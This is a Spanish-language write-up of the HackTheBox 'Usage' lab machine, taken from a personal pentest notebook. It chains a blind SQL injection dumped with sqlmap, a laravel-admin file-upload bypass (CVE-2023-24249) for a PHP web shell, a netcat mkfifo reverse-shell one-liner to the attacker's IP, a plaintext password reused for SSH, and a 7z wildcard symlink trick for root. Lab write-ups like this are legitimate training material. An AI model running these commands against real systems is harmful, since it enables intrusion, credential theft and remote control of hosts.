🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Ping para obtener ruta de retorno
  • Escaneo de puertos con Nmap
  • Escaneo detallado con Nmap
  • Modificando /etc/hosts
  • Explorando usage.htb
  • Blind SQLi en /forget-password
  • Explotando Blind SQLi con SQLmap
  • Crackeamos el hash con john
  • CVE-2023-24249
  • Buscamos las credenciales del usuario Xander
  • Ingresando como Xander
  • Privilege Escalation

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Usage

https://app.hackthebox.com/machines/Usage

AnteriorHTB - RunnerSiguienteHTP - Active (Incomplete)

Última actualización hace 1 año

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Usage

  • IP de la MΓ‘quina: 10.129.26.222

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de PublicaciΓ³n: 13 Apr 2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

Kali Linux Machine
ping -c 1 10.129.26.222 -R

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la mΓ‘quina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duraciΓ³n que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra funciΓ³n extractPorts:

Kali Linux Machine
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.26.222 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

Kali Linux Machine
sudo nmap -sCV -p22,80,8888 10.129.26.222 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 21:11 EDT
Nmap scan report for usage.htb (10.129.26.222)
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
8888/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds

Modificando /etc/hosts

Para aΓ±adir la entrada "10.129.179.64 active.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

Kali Linux Machine
echo "10.129.26.222 usage.htb  " | sudo tee -a /etc/hosts

Explorando usage.htb

Estas son las rutas que encuentro. Las cuales revisarΓ© con Burpsuite para entenderlas mejor. AdemΓ‘s tambien agreguΓ© admin.usage.htb a /etc/hosts.

List o f Links
usage.htb/login
usage.htb/registration
admin.usage.htb
usage.htb/post-login
usage.htb/forget-password
admin.usage.htb/admin
admin.usage.htb/admin/auth/login

Creo mi cuenta en usage.htb/registration

test@test.test : test123!

Intento resetear la clave en usage.htb/forget-password

Blind SQLi en /forget-password

Interceptamos la consulta con Burpsuite de /forget-password y nos percatamos de un posible BSQLi

Al hacer pruebas en el campo email, puedo identificar que quizΓ‘s es vulnerable a SQLi, pero no demuestra ser una normal quizΓ‘s un blind sqli, por lo que utilizarΓ© SQLmap.

Para ello copiarΓ© el request que obtuve de Burpsuite y lo guardarΓ© en un archivo request.txt

Burpsuite Request
POST /forget-password HTTP/1.1

Host: usage.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

Origin: http://usage.htb

Connection: close

Referer: http://usage.htb/forget-password

Cookie: XSRF-TOKEN=eyJpdiI6IkZla0FnT29QRy9JVS9nQmVjdTZlOEE9PSIsInZhbHVlIjoiY2tXL0dvM29iS2hyZjk2U3JoZm1QTTFKQ2Y0LzNESG43ZXUvRkxJaGI0WWthSUxRaVI5b0l1VUJOaTlxWk53c1ZJZFdNdkZOck0vRVQ3M1VabGE3THd1N1UrT2JDUTVnNk1RS0NSZUFobjZpeUFQa1lBVHFxSy8wWkRWdGk4UG8iLCJtYWMiOiIyNjU5OGQ0NzQ2MjUwODcwNzdhNWU5YmE0ZjQ3ZTRhOWRiMmYyYWIwMzA4MDc4NWYyNTQ2ZTZhOGU0ZGVmYTYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFMV0ZCQlJ6T0NoblZuTkt5bjI5OWc9PSIsInZhbHVlIjoiOUY4NnN5eGUvSkpINjhIeHJLd0hnNEsyeVNVb0EzdFhGTkxIZTZRdFYxeFdTVDEybE9YcWI1L1dQUVJiMDQvZExlMUtzaUpVZXI5UmlGdW5HU2pXL0NMbjVYVGJnNVp0ak94TGhTLzFjVGZIL1paWGlaNWk1UFBFQlpmcVhkamUiLCJtYWMiOiI2NjhiYzg0NjFkOWQ1OTg3ZjFkOTY4ODE3ZGU0ZDU4MzM5YmNkYWQxODIyNDIwYjdmOWRiNDU5ZDM2ODFjNGQ0IiwidGFnIjoiIn0%3D

Upgrade-Insecure-Requests: 1



_token=NfCIRLM1PvC4PagbIi5GqaJkdlGveVbqNWPccOew&email=test%40test.test

Luego utilizo SQLmap con el parametro -r

Kali Linux Machine
sqlmap -r request.txt --level 5 --risk 3 -p email --batch

Explotando Blind SQLi con SQLmap

Es blindsql asΓ­ que puede tardar un poco mas de lo habitual.

Kali Linux Machine
sqlmap -r request.txt --level 5 --risk 3 -p email --batch --dbs --threads 10
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog --threads 10
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users -C username,password --dump --threads 10

Crackeamos el hash con john

Ingresamos con las credenciales en admin.usage.htb

CVE-2023-24249

Y revisando encontramos que es un panel de administraciΓ³n Laravel 1.8.17, buscando en internet me encuentro con el CVE-2023-24249

An arbitrary file upload vulnerability in laravel-admin v1.8.19 allows attackers to execute arbitrary code via a crafted PHP file.

Podemos encontrar un tutorial de como ejecutar este bypass aquΓ­

Subimos nuestro archivo malicioso en formato .JPG y al mismo tiempo interceptamos con Burpsuite.

En filename="pown.jpg" le agrego .php a nuestro archivo quedando: pown.jpg.php, luego lo mando al Repeater (CTRL + R) -> Send ->Follow Redirection

Y luego vamos a la ruta donde deberΓ­a estar nuestro archivo admin.usage.htb/uploads/images/pown.jpg.php

Te recomiendo que establezcas una reverse shell ya que despuΓ©s de unos minutos el archivo que subimos es eliminado y tendrΓ‘s que bypassear de nuevo el uploader. Yo ejecuto el one liner:

Powny Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 7777 >/tmp/f
Kali Linux Machine
script /dev/null -c /bin/bash
export TERM=xterm
stty raw -echo; fg

Buscamos las credenciales del usuario Xander

Lo primero que hice fue subir LinEnum para tener una visiΓ³n mas amplia de mi objetivo, al parecer tambiΓ©n hay otro usuario Xander. TambiΓ©n me encontrΓ© con la existencia de varios archivos ocultos en el escritorio de Dash.

DespuΓ©s de revisar una por una encuentro una contraseΓ±a en el archivo .monitrc

3nc0d3d_pa$$w0rd

Ingresando como Xander

Quiero creer que esta es la contraseΓ±a de Xander asΓ­ que pruebo conectandome mediante SSH.

ssh xander@usage.htb 
3nc0d3d_pa$$w0rd

Privilege Escalation

Kali Linux Machine
python3  -m  http.server 8888
Target Linux Machine
curl 10.10.14.8:8888/LinEnum.sh -o LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Target Linux Machine
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
strings /usr/bin/usage_management

Nos damos cuenta que usa 7z para comprimir todo lo de /var/www/html/ y lo hace al final colocando "..*", esto es una Wildcard y podemos abusar de ella.

Target Linux Machine
sudo /usr/bin/usage_management
Choose an option:
Project Backup
Backup MySQL data
Reset admin password
Target Linux Machine
cd /var/www/html/
touch '@root.txt'
ln -s -r /root/root.txt root.txt
sudo /usr/bin/usage_management #Opcion 1 (Project Backup)

Y mientras se ejecuta el binario deberΓ­a lanzarnos el root.txt.

Se refierere a cuando vamos a cambiar el avatar de nuestro usuario Administador en

πŸ“„
πŸ΄β€β˜ οΈ
🟩
http://admin.usage.htb/admin/auth/setting
https://flyd.uk/post/cve-2023-24249/